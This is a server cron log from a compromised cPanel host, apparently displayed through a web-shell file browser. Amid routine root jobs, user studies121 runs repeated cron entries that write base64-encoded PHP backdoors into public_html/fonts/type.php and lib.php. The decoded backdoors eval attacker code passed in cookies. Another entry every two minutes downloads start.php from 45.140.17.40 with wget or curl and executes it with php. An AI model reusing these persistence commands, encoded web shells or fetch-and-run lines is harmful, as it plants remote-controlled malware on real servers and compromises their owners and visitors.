55ok
Mini

Direktori : /var/log/
Current File : //var/log/cron
Feb 22 03:12:02 ip-184-168-122-23 run-parts(/etc/cron.daily)[7636]: finished logrotate
Feb 22 03:12:02 ip-184-168-122-23 run-parts(/etc/cron.daily)[7586]: starting man-db.cron
Feb 22 03:12:04 ip-184-168-122-23 run-parts(/etc/cron.daily)[9946]: finished man-db.cron
Feb 22 03:12:04 ip-184-168-122-23 anacron[4511]: Job `cron.daily' terminated
Feb 22 03:12:04 ip-184-168-122-23 anacron[4511]: Normal exit (1 job run)
Feb 22 03:13:01 ip-184-168-122-23 CROND[10186]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 03:13:01 ip-184-168-122-23 CROND[10188]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 03:13:01 ip-184-168-122-23 CROND[10190]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 03:13:01 ip-184-168-122-23 CROND[10193]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 03:14:01 ip-184-168-122-23 CROND[10528]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 03:14:01 ip-184-168-122-23 CROND[10531]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 03:14:01 ip-184-168-122-23 CROND[10530]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 03:14:01 ip-184-168-122-23 CROND[10532]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 03:14:01 ip-184-168-122-23 CROND[10533]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 03:15:01 ip-184-168-122-23 CROND[10814]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 03:15:01 ip-184-168-122-23 CROND[10813]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 03:15:01 ip-184-168-122-23 CROND[10815]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 03:15:01 ip-184-168-122-23 CROND[10819]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 03:15:01 ip-184-168-122-23 CROND[10820]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 03:15:01 ip-184-168-122-23 CROND[10821]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 03:16:01 ip-184-168-122-23 CROND[11103]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 03:16:01 ip-184-168-122-23 CROND[11105]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 03:16:01 ip-184-168-122-23 CROND[11107]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 03:16:01 ip-184-168-122-23 CROND[11109]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Feb 22 03:16:01 ip-184-168-122-23 CROND[11108]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 03:16:01 ip-184-168-122-23 CROND[11110]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 03:17:01 ip-184-168-122-23 CROND[11380]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 03:17:01 ip-184-168-122-23 CROND[11382]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 03:17:01 ip-184-168-122-23 CROND[11385]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 03:17:01 ip-184-168-122-23 CROND[11386]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 03:18:01 ip-184-168-122-23 CROND[11697]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 03:18:01 ip-184-168-122-23 CROND[11700]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 03:18:01 ip-184-168-122-23 CROND[11699]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 03:18:01 ip-184-168-122-23 CROND[11701]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 03:18:01 ip-184-168-122-23 CROND[11702]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 03:19:01 ip-184-168-122-23 CROND[12024]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 03:19:01 ip-184-168-122-23 CROND[12026]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 03:19:01 ip-184-168-122-23 CROND[12028]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 03:19:01 ip-184-168-122-23 CROND[12030]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 03:20:01 ip-184-168-122-23 CROND[12440]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 03:20:01 ip-184-168-122-23 CROND[12441]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 03:20:01 ip-184-168-122-23 CROND[12444]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 03:20:01 ip-184-168-122-23 CROND[12446]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 03:20:01 ip-184-168-122-23 CROND[12447]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Feb 22 03:20:01 ip-184-168-122-23 CROND[12450]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 03:20:01 ip-184-168-122-23 CROND[12451]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 03:20:01 ip-184-168-122-23 CROND[12454]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 03:20:01 ip-184-168-122-23 CROND[12455]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 03:21:01 ip-184-168-122-23 CROND[12778]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 03:21:01 ip-184-168-122-23 CROND[12779]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 03:21:01 ip-184-168-122-23 CROND[12781]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 03:21:01 ip-184-168-122-23 CROND[12784]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 03:22:01 ip-184-168-122-23 CROND[13098]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 03:22:01 ip-184-168-122-23 CROND[13099]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 03:22:01 ip-184-168-122-23 CROND[13104]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 03:22:01 ip-184-168-122-23 CROND[13101]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 03:22:01 ip-184-168-122-23 CROND[13102]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 03:23:01 ip-184-168-122-23 CROND[13304]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 03:23:01 ip-184-168-122-23 CROND[13305]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 03:23:01 ip-184-168-122-23 CROND[13306]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 03:23:01 ip-184-168-122-23 CROND[13307]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 03:24:01 ip-184-168-122-23 CROND[13496]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 03:24:01 ip-184-168-122-23 CROND[13499]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 03:24:01 ip-184-168-122-23 CROND[13500]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 03:24:01 ip-184-168-122-23 CROND[13501]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 03:24:01 ip-184-168-122-23 CROND[13498]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
